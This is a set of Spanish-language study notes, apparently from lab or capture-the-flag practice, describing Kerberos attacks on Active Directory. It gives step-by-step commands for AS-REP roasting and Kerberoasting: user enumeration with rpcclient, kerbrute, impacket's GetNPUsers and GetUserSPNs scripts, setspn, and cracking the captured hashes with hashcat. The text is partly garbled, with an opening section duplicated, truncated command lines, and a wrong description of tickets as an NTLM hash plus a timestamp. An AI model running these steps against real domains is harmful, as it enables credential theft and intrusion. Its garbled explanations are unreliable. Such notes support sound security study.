Kerbero
Puerto 88
Solo lo tienen los directorios activos, pero pueden ser principales o secundarios.
Cuando un usuario quiere hacer algo en el directorio activo, este le ofrece su hash NTLM al Servidor, este lo
comprueba en el KDC (Key Distribution Center) y comprueba si tiene acceso.
Si tiene acceso, crea un nuevo hash sumando el hash NTLM del cliente + timestamp
Ticket = hash NTLM + timestamp
Estos tickets pueden ser:
Ticket Granting Ticket (TGT)
Ticket Granting Services (TGS)
El primer ticket generado siempre va a ser el TGT ya sea por ejemplo por el inicio de sesión del usuario en el dominio.
SPN = Service Principal Name (Ej: sqlserver/sqluser)
Existen 2 ataques:
TGT → Ataque Asreproast
TGS → Ataque Kerberoasting Attack
ASREPROAST (TGT)
Conectamos al RPC con rpcclient:
Puerto 88
Solo lo tienen los directorios activos, pero pueden ser principales o secundarios.
Cuando un usuario quiere hacer algo en el directorio activo, este le ofrece su hash NTLM al Servidor, este lo
comprueba en el KDC (Key Distribution Center) y comprueba si tiene acceso.
Si tiene acceso, crea un nuevo hash sumando el hash NTLM del cliente + timestamp
Ticket = hash NTLM + timestamp
Estos tickets pueden ser:
Ticket Granting Ticket (TGT)
Ticket Granting Services (TGS)
El primer ticket generado siempre va a ser el TGT ya sea por ejemplo por el inicio de sesión del usuario en el dominio.
SPN = Service Principal Name (Ej: sqlserver/sqluser)
Existen 2 ataques:
TGT → Ataque Asreproast
TGS → Ataque Kerberoasting Attack
ASREPROAST (TGT)
Conectamos al RPC con rpcclient:
rpcclient -U "nombre.dominio\Usuario%Password" IP
Al conectarnos, escribimos enumdomusers y nos guardamos en un users.txt solo los nombres de los usuarios que nos
aparecen. (Esto en caso de que tenga rpc puerto 135 y habilitado la enumeracion de comandos)
Ejecutamos la herramieta kerbrute para que nos diga si alguno de los usuarios listados no necesitan la autentificacion
previa de kerberos:
kerbrute -domain nombre.dominio -dc-IP IP -users users.txt
Si alguno de estos no necesita la autentificacion previa de kerberos, a lado de su usuario aparecerá [NOT PREAUTH]
Y para generar el TGT usaremos la herramienta GetNPUser.py:
python3 "Ruta donde esté GetNPUser.py" -dc-ip nom.dom nom.dom/Usuario[NOT PREAUTH] -no-pass
EJ: python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py -dc-ip fusion.corp fusion.corp/lparker -no-pass
Al tener el hash TGT lo guardamos en un archivo hash.txt y para crackearlo ejecutamos:
hashcat -m 18200 --force(o al final) -a 0 hash.txt diccionario.txt(el diccionario puede ser /usr/share/wordlists/rockyou.txt)
KERBEROASTING ATTACK
Vamos a usar la herramienta GetUserSPN.py
python3 "ruta donde esté GetUserSPN.py" nom.dom/user
assword
Nos saldrá el error → No entries found!
Porque no está creado el SPN de ese usuario, para ello deberemos crearlo en el cmd del dominio, deberemos de
alguna forma ejecutar este comando en el cmd.exe del dominio:
setspn -a nom.dom/user.DC-Company nom.dom\user
Y ahora si ejecutamons nuevamente:
python3 "ruta donde esté GetUserSPN.py" nom.dom/user
assword
Nos indicará que si existe un SPN para ese usuario, ya que lo hemos creado nosotros anteriormente.
Ahora para obtener el TGS usaremos el script GetUserSPN.py, ejecutaremos el mismo comando pero al final con -request
python3 "ruta donde esté GetUserSPN.py" nom.dom/user
assword -request
Y ese hash lo crackearemos con hashcat y -m el modo tgs para obtenerlo en texto plano.